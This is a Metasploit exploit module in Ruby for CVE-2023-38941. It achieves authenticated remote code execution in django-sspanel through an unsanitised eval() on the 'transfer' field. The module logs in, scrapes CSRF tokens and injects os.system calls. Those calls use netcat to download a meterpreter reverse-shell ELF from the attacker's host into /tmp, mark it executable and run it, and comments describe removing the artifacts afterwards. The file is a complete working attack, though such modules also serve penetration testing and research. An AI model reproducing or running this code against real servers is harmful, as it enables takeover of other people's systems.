## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf # # This exploit is for django-sspanel <= 2022.2.2 CVE-2023-38941 # # We're using an authenticated page to abuse an unsanitized eval() in the # function that controls the transfer key's value. When that value is called # we can use the value as python code. To get here we need to log in and # grab two csrfmiddleware tokens, and keep a viable cookie jar. Once logged # in, we push our python code, drop a shell with netcat, and boom. This was # tested on django-sspanel 2022.2.2, but should work on earlier versions. # # -- Marshall / oxagast # oxagast@oxasploits.com # # rev. 5 # # Exploit cleanup can be done with the following resource script, so # rename cleanup.rc and once in the meterpreter shell, just call: # resource /tmp/cleanup.rc # # execute -f /bin/rm -a "/tmp/shell*" # sysinfo # getuid # require "nokogiri" require "msf/core" require "socket" $stdout.sync = true $csrftoken = "" class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, "Name" => "Authenticated abuse of unsanitized eval() in django-sspanel <= 2022.2.2 leads to RCE", "Description" => %q{ This vulnerabilitly exists in an unsanitized eval() function, within the my_admin/good_create/ or in the code as apps/sspanel/admin_views.py on line 221. This allows us to inject arbitrary python code (one line only). To do this we have to be authenticated, so we must use our cookie jar, as well as use two different methods of grabbing the csrfmiddlewaretoken as it is presented two completely different ways. Once logged in, we navigate from login to the home page, and then to good_create, were the code injection becomes trivial by modifying the "transfer" key's value. }, "Author" => [ "Marshall Whittaker", # oxagast ], "License" => MSF_LICENSE, "Platform" => "linux", "Arch" => [ARCH_X86], "CmdStagerFlavor" => ["printf"], "References" => [ ["URL", "https://github.com/Ehco1996/django-sspanel"], ["URL", "https://github.com/Ehco1996/django-sspanel/blob/master/apps/sspanel/admin_views.py#L209-L226"], ["CVE", "CVE-2023-38941"], ["CWE", "77"], ], "Targets" => [ ["django-sspanel <= 2022.2.2", { "Privileged" => true }], ], "DefaultOptions" => { "PAYLOAD" => "linux/x86/meterpreter_reverse_tcp", # lets use a x86 meterpreter rev (others may work) }, "Payload" => { "Format" => "elf", # we need a whole executable for this, we use elf on linux "Platform" => "unix", }, "Notes" => { "Stability" => [CRASH_SAFE], "Reliability" => [REPEATABLE_SESSION], "SideEffects" => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], }, "DisclosureDate" => "2023-8-3", "DefaultTarget" => 0)) register_options( [ Opt::RPORT(8000), OptString.new("RHOST", [true, "The target machine's IP", ""]), OptString.new("USER", [true, "The user to auth as", ""]), OptString.new("PASS", [true, "The user's password", ""]), OptString.new("LHOST", [true, "This machine's IP", ""]), OptInt.new("LSERVPORT", [true, "The port to listen on for pushing the payload", 6789]), ], self.class ) register_advanced_options([ OptBool.new("HANDLER", [true, "Start an exploit/multi/handler job to receive the connection", true]), ]) deregister_options("VHOST", "Proxies", "RHOSTS", "SSL") end def listen(payl, lsp) print_status("Starting payload push socket...") serv = TCPServer.new("#{lsp}") s = serv.accept s.write("#{payl}") s.close end def login(user, pass) res = send_request_raw( "uri" => "/login/", "method" => "GET", "keep_cookies" => true, "ctype" => "text/html", ) # csrf middlewear token looks like # name="csrfmiddlewaretoken" value="kfv4bSXx0IdfKXNS8EDElYO96YJp1kZVI4ETh49Tjqdq6yw7uxkhRyHLnH0LNSr5"> fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res if res.body.match("sspanel") print_good("Good, this looks like django-sspanel") else print_bad("Oof. This doesn't look like django-sspanel! Trying anyway...") end cook = res.get_cookies doc = Nokogiri::HTML(res.body) doc.xpath("//form/input[@name='csrfmiddlewaretoken']").each do |elements| $csrftoken = elements.values[2] end if $csrftoken.length == 64 print_good("Found a good CSRF Middleware Token! #{$csrftoken}") urlencd = URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&username=#{user}&password=#{pass}") res = send_request_raw( "uri" => "/login/", "method" => "POST", "ctype" => "application/x-www-form-urlencoded", "cookie" => "#{cook}", "data" => "#{urlencd}", ) fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res if res.get_cookies.match("__json_message") print_good("Login cookie looks good.") return(res.get_cookies) else fail_with(Failure::NoAccess, "We connected, but didn't get a good __json_message cookie. Maybe a bad username or password was supplied?") end end fail_with(Failure::UnexpectedReply, "We connected, but our csrfmiddlewaretoken response doesn't look right. Is this the right type of server?") end def injectpy(logincookie, lhst, lsprt) res = send_request_raw( "uri" => "/users/userinfo/", "method" => "GET", "cookie" => logincookie, "ctype" => "text/html", ) $csrftoken = "" print_status("Configuring Payload...") bdy = res.body cleanbody = bdy.tr("\n", "") csrft = cleanbody.match(/csrfmiddlewaretoken: '([A-Za-z0-9]*)',/) $csrftoken = csrft[1] if $csrftoken.length == 64 unless cleanbody.match(/var box/) print_bad("Warning: This looks like a patched version! Exploit may fail.") end print_good("Found a good CSRF Middleware Token! #{$csrftoken}") print_status("Loading up stager...") pay = framework.modules.create(datastore["payload"]) pay.datastore["LHOST"] = datastore["LHOST"] pay.datastore["RHOST"] = datastore["RHOST"] pay.datastore["LPORT"] = datastore["LPORT"] print_status("Generating payload...") payl = pay.generate_simple({ "Format" => "elf" }) if payl == "" fail_with(Failure::PayloadFailed, "Payload generation failed! Try a different payload?") end print_good("Payload generated!") Thread.new do listen(payl, lsprt) end targexe = "/tmp/shell" + rand(2000).to_s cmds = ["nc #{lhst} #{lsprt} > #{targexe}", "chmod 777 #{targexe}", "pkill nc", "#{targexe}"] print_status("They rally 'round the family. With a pocket full of shells...") cmds.each do |i| paylc = "__import__('os').system(\"#{i}\")" # post data ->> csrfmiddlewaretoken=PrE2KJWEPzc45mc722x0KQ5GAgPCaTGnM8W8jtPlX9wENBYPYg2tdAeNcff3Y7C3&name=cde&content=dsklfjdlkj&transfer=0&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=2 postdat = URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&name=a&content=b&transfer=#{paylc}&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=1") print_status("Sending #{i}") res = send_request_raw( "uri" => "/my_admin/good_create/", "method" => "POST", "ctype" => "application/x-www-form-urlencoded", "cookie" => logincookie, "data" => "#{postdat}", ) $stdout.ioflush end return 0 end fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res end def check # we pull then check our variables user = datastore["USER"] pass = datastore["PASS"] rhst = datastore["RHOST"] rprt = datastore["RPORT"] lhst = datastore["LHOST"] lsprt = datastore["LSERVPORT"] if user == "" fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!") end if pass == "" fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!") end if rhst == "" || rprt == "" || lhst == "" || lsprt == "" fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.") end res = send_request_raw( "uri" => "/", "method" => "GET", "keep_cookies" => true, "ctype" => "text/html", ) fail_with(Failure::Unreachable, "Unable to connect to host #{rhst}!") unless res if res.code == 200 print_good("Connected to host #{rhst}...") b = res.body cbody = b.tr("\n", "") if cbody.match(/sspanel/) print_good("Good, this looks like django-sspanel...") else fail_with(Failure::UnexpectedReply, "This doesn't look like django-sspanel? Try a different server or port.") end else fail_with(Failure::UnexpectedReply, "We connected but did not get a good return code (returned #{res.code} from the host #{rhst}. Try a different server or port.") end lcookie = login(user, pass) res = send_request_raw( "uri" => "/users/userinfo/", "method" => "GET", "cookie" => lcookie, "ctype" => "text/html", ) if res.code != 200 fail_with(Failure::UnexpectedReply, "We connected, but our http status code was not 200 (returned #{res.code}), this may not be the right type of server...") end bdy = res.body cleanbody = bdy.tr("\n", "") unless cleanbody.match(/var box/) fail_with(Failure::NotVulnerable, "This version does not contain the box variable. Probably a patched version! Exploit may fail.") else if cleanbody.match(/sspanel/) print_good("Confirmed we using sspanel and logged in...") if cleanbody.match(/var box/) print_good("Looking good! This is a heuristic check on the existance of the box variable, which exists. This was removed in subsequent versions.") return Exploit::CheckCode::Appears("Looks like this may be a vulnerable version of django-sspanel.") end end end return Exploit::CheckCode::Unknown("Something went ary with the check method, you can try exploit, but it may not work properly.") end def exploit # we pull then check our variables user = datastore["USER"] pass = datastore["PASS"] rhst = datastore["RHOST"] rprt = datastore["RPORT"] lhst = datastore["LHOST"] lsprt = datastore["LSERVPORT"] if user == "" fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!") end if pass == "" fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!") end if rhst == "" || rprt == "" || lhst == "" || lsprt == "" fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.") end # login routine here logincookie = login(user, pass) injectpy(logincookie, lhst, lsprt) print_good("Boom. Exploit complete!") # post to my_admin/good_create (transfer key!) <-- vuln end end